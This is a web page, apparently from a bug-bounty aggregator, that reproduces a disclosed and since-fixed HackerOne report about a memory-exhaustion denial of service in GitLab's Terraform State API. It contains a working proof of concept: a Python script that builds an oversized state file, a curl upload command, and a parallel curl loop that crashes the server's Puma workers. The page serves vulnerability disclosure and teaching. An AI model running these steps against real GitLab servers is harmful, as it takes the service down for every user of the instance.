Skip to content
DoS Disclosed report Intermediate

Denial‑of‑Service via Non‑Chunked In‑Memory Handling of Large Terraform State Files

The Terraform State API loads the entire state file into memory instead of streaming it. An authenticated attacker with project maintainer rights can upload a large valid state file and trigger concurrent reads, exhausting memory and crashing Puma workers, causing a denial of service.

GitLab

Originally disclosed on GitLab

  • Fixed in 5 months
  • Disclosed after 5 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3103838 by pwnie on 2025-04-22, assigned to @cmaxim:

Report | How To Reproduce

Report

Summary

GitLab’s Terraform State API (/api/v4/projects/:id/terraform/state/:name) loads the entire requested state file into memory instead of streaming it in chunks. An authenticated attacker can upload an oversized, yet syntactically valid, .tfstate file and trigger multiple concurrent reads, exhausting memory on the Puma workers and crashing the service.

Asset

https://<GITLAB_HOST>/api/v4/projects/:id/terraform/state/:name


Preconditions

  • Valid project membership with Maintainer (or any role that can upload Terraform states)
  • Personal access token (PAT) with api scope

Proof‑of‑Concept

1  Generate an oversized state
Bash
###  !/usr/bin/env python3  
###  save as make_state.py  
import sys, random, json, os  
size_mb = int(sys.argv[1])                # e.g. 100  
out = sys.argv[2] if len(sys.argv) > 2 else "terraform.tfstate"  
serial = random.randint(100, 999)  
prefix = (f'{{"version":4,"terraform_version":"1.6.3","serial":{serial},'  
          f'"outputs":{{"dummy":{{"value":"')  
suffix = '"},"type":"string"},"resources":[]}'  
fill = size_mb*1024*1024 - len(prefix) - len(suffix)  
open(out, "w").write(prefix + "A"*fill + suffix)  
print(f"Wrote {out} (~{size_mb} MB)")  
2  Upload the state
Bash
curl --request POST \  
     --header "PRIVATE-TOKEN: $PAT" \  
     --data-binary [@]terraform.tfstate \  
     "https://<GITLAB_HOST>/api/v4/projects/<ID>/terraform/state/foobar"  

Start with 50 MB, then 100 MB, 150 MB, etc. (very large files may be blocked upstream).

3  Trigger concurrent reads
Bash
seq 100 | xargs -n1 -P20 -I{} \  
  curl --silent --output /dev/null \  
       --header "PRIVATE-TOKEN: $PAT" \  
       "https://<GITLAB_HOST>/api/v4/projects/<ID>/terraform/state/foobar"  
Observed result
  • All 16 Puma workers allocate ≈ N * file_size bytes
  • RSS spikes; OOM killer terminates Puma → GitLab web/API unavailable (~90 s)
  • Logs: pid X killed (OOM), score Y

Impact

  • Medium: Any project maintainer can remotely crash every Puma worker, resulting in total loss of availability (DoS) for the GitLab instance.
  • Exploitation is inexpensive and repeatable; no rate limiting detected.
  • Can be abused by a single rogue employee in an on‑prem installation or by any paid‑tier customer in GitLab.com SaaS (multi‑tenant risk).

Impact

  • Medium: Any project maintainer can remotely crash every Puma worker, resulting in total loss of availability (DoS) for the GitLab instance.
  • Exploitation is inexpensive and repeatable; no rate limiting detected.
  • Can be abused by a single rogue employee in an on‑prem installation or by any paid‑tier customer in GitLab.com SaaS (multi‑tenant risk).

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Any project maintainer can remotely crash every Puma worker, causing total loss of availability (DoS) for the GitLab instance; no rate limiting was detected.

What the attacker needed

Valid project membership with Maintainer role; Personal access token with api scope

How it was found

  1. Generate an oversized but syntactically valid Terraform state file.
  2. Upload the state file to the Terraform State API using a personal access token.
  3. Trigger multiple concurrent read requests to the same state endpoint.
  4. Observe Puma workers allocating memory proportional to file size times number of requests, leading to OOM kills and service unavailability.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a denial-of-service bug. The server reads a whole file into memory at once, so a very large file can use up all the server's memory. By making many requests at the same time, an attacker can crash the service for everyone.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.